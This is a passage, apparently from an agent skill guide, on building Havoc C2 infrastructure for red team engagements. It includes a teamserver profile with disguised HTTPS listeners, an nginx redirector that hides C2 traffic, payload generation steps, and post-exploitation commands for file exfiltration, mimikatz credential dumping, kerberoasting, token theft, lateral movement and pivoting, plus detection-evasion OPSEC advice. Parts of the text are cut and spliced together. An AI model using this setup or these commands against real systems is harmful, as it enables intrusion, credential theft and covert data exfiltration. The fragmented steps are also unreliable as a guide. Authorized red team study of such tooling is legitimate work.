It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP/HTTPS/SMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements.\n\n\n## When to Use\n\n- When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment\n- When establishing security controls aligned to compliance requirements\n- When building or improving security architecture for this domain\n- When conducting security assessments that require this implementation\n\n## Prerequisites\n\n- Ubuntu 22.04 LTS or Debian 11+ (for Teamserver)\n- Kali Linux 2023+ (for Client)\n- VPS providers: DigitalOcean, Linode, or AWS EC2 (minimum 2GB RAM, 2 vCPU)\n- Domain name aged 30+ days with valid SSL certificate\n- Written authorization for red team engagement\n\n## Architecture\n\n```\n┌──────────────────────────────────────────────────────────────┐\n│                    HAVOC C2 ARCHITECTURE

https://github.com/HavocFramework/Havoc.git\ncd Havoc\n\n# Install dependencies (Ubuntu 22.04)\nsudo apt update\nsudo apt install -y git build-essential apt-utils cmake libfontconfig1 \\\n

client-build\n```\n\n## Step 2: Configure Teamserver Profile\n\nCreate the Havoc profile (`havoc.yaotl`):\n\n```hcl\nTeamserver {\n    Host = \"0.0.0.0\"\n    Port = 40056\n\n    Build {\n        Compiler64 = \"/usr/bin/x86_64-w64-mingw32-gcc\"\n        Compiler86 = \"/usr/bin/i686-w64-mingw32-gcc\"\n        Nasm = \"/usr/bin/nasm\"\n    }\n}\n\nOperators {\n    user \"operator1\" {\n        Password = \"Str0ngP@ssw0rd!\"\n    }\n    user \"operator2\" {\n        Password = \"An0th3rP@ss!\"\n    }\n}\n\nListeners {\n    Http {\n        Name         = \"HTTPS Listener\"\n        Hosts        = [\"c2.yourdomain.com\"]\n        HostBind     = \"0.0.0.0\"\n        HostRotation = \"round-robin\"\n        PortBind     = 443\n        PortConn     = 443\n        Secure       = true\n        UserAgent    = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\"\n\n        Uris = [\n            \"/api/v2/auth\",\n            \"/api/v2/status\",\n            \"/content/images/gallery\",\n        ]\n\n        Headers = [\n            \"X-Requested-With: XMLHttpRequest\",\n            \"Content-Type: application/json\",\n        ]\n\n        Response {\n            Headers = [\n                \"Content-Type: application/json\",\n                \"Server: nginx/1.24.0\",\n                \"X-Frame-Options: DENY\",\n            ]\n        }\n    }\n}\n\nDemon {\n    Sleep  = 10\n    Jitter = 30\n\n    TrustXForwardedFor = false\n\n    Injection {\n        Spawn64 = \"C:\\\\Windows\\\\System32\\\\notepad.exe\"\n        Spawn32 = \"C:\\\\Windows\\\\SysWOW64\\\\notepad.exe\"\n    }\n}\n```\n\n## Step 3: Start Teamserver\n\n```bash\n# Start the Havoc Teamserver with the profile\n./havoc server --profile ./profiles/havoc.yaotl -v\n\n# Expected output:\n# [*] Havoc Framework [Version: 0.7]\n# [*] Teamserver started on: 0.0.0.0:40056\n# [*] HTTPS Listener started on: 0.0.0.0:443\n```\n\n## Step 4: Configure HTTPS Redirector\n\nSet up an Nginx reverse proxy on a separate VPS as a redirector:\n\n```nginx\n# /etc/nginx/sites-available/c2-redirector\nserver {\n    listen 443 ssl;\n    server_name c2.yourdomain.com;\n\n    ssl_certificate /etc/letsencrypt/live/c2.yourdomain.com/fullchain.pem;\n    ssl_certificate_key /etc/letsencrypt/live/c2.yourdomain.com/privkey.pem;\n\n    # Only forward traffic matching C2 URIs\n    location /api/v2/auth {\n        proxy_pass https://TEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n        proxy_set_header X-Forwarded-For $remote_addr;\n    }\n\n    location /api/v2/status {\n        proxy_pass https://TEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    location /content/images/gallery {\n        proxy_pass https://TEAMSERVER_IP:443;\n        proxy_ssl_verify off;\n        proxy_set_header Host $host;\n    }\n\n    # Redirect all other traffic to legitimate site\n    location / {\n        return 301 https://www.microsoft.com;\n    }\n}\n```\n\n## Step 5: Generate Demon Payload\n\n```bash\n# Via the Havoc Client GUI:\n# Attack > Payload\n# Agent: Demon\n# Listener: HTTPS Listener\n# Arch: x64\n# Format: Windows Exe / Windows Shellcode\n# Sleep Technique: WaitForSingleObjectEx (Ekko)\n# Spawn: C:\\Windows\\System32\\notepad.exe\n\n# The generated Demon payload connects back through:\n# Target -> Redirector (Nginx) -> Teamserver\n```\n\n## Step 6: Post-Exploitation with Demon\n\nOnce a Demon session checks in, common post-exploitation commands:\n\n```\n# Session interaction\ndemon> whoami\ndemon> shell systeminfo\ndemon> shell ipconfig /all\n\n# Process listing\ndemon> proc list\n\n# File operations\ndemon> download C:\\Users\\target\\Documents\\sensitive.docx\ndemon> upload /tools/Rubeus.exe C:\\Windows\\Temp\\r.exe\n\n# In-memory .NET execution (no disk touch)\ndemon> dotnet inline-execute /tools/Seatbelt.exe -group=all\ndemon> dotnet inline-execute /tools/SharpHound.exe -c All\n\n# Token manipulation\ndemon> token steal <PID>\ndemon> token make DOMAIN\\user password\n\n# Credential access\ndemon> mimikatz sekurlsa::logonpasswords\ndemon> dotnet inline-execute /tools/Rubeus.exe kerberoast\n\n# Lateral movement\ndemon> jump psexec TARGET_HOST HTTPS_LISTENER\ndemon> jump winrm TARGET_HOST HTTPS_LISTENER\n\n# Pivoting\ndemon> socks start 1080\ndemon> rportfwd start 8080 TARGET_INTERNAL 80\n```\n\n## OPSEC Considerations\n\n| Aspect | Recommendation |\n|---|---|\n| Domain Age | Register domains 30+ days before engagement |\n| SSL Certificates | Use Let's Encrypt or purchased certificates, never self-signed |\n| Categorization | Submit domain to Bluecoat/Fortiguard for categorization |\n| Sleep/Jitter | Minimum 10s sleep with 30%+ jitter for long-haul operations |\n| User-Agent | Match target organization's common browser user-agent |\n| Kill Date | Set payload expiration to engagement end date |\n| Infrastructure | Separate teamserver, redirector, and phishing infrastructure |\n| Payload Format | Use shellcode with custom loader instead of raw EXE |\n\n## MITRE ATT&CK
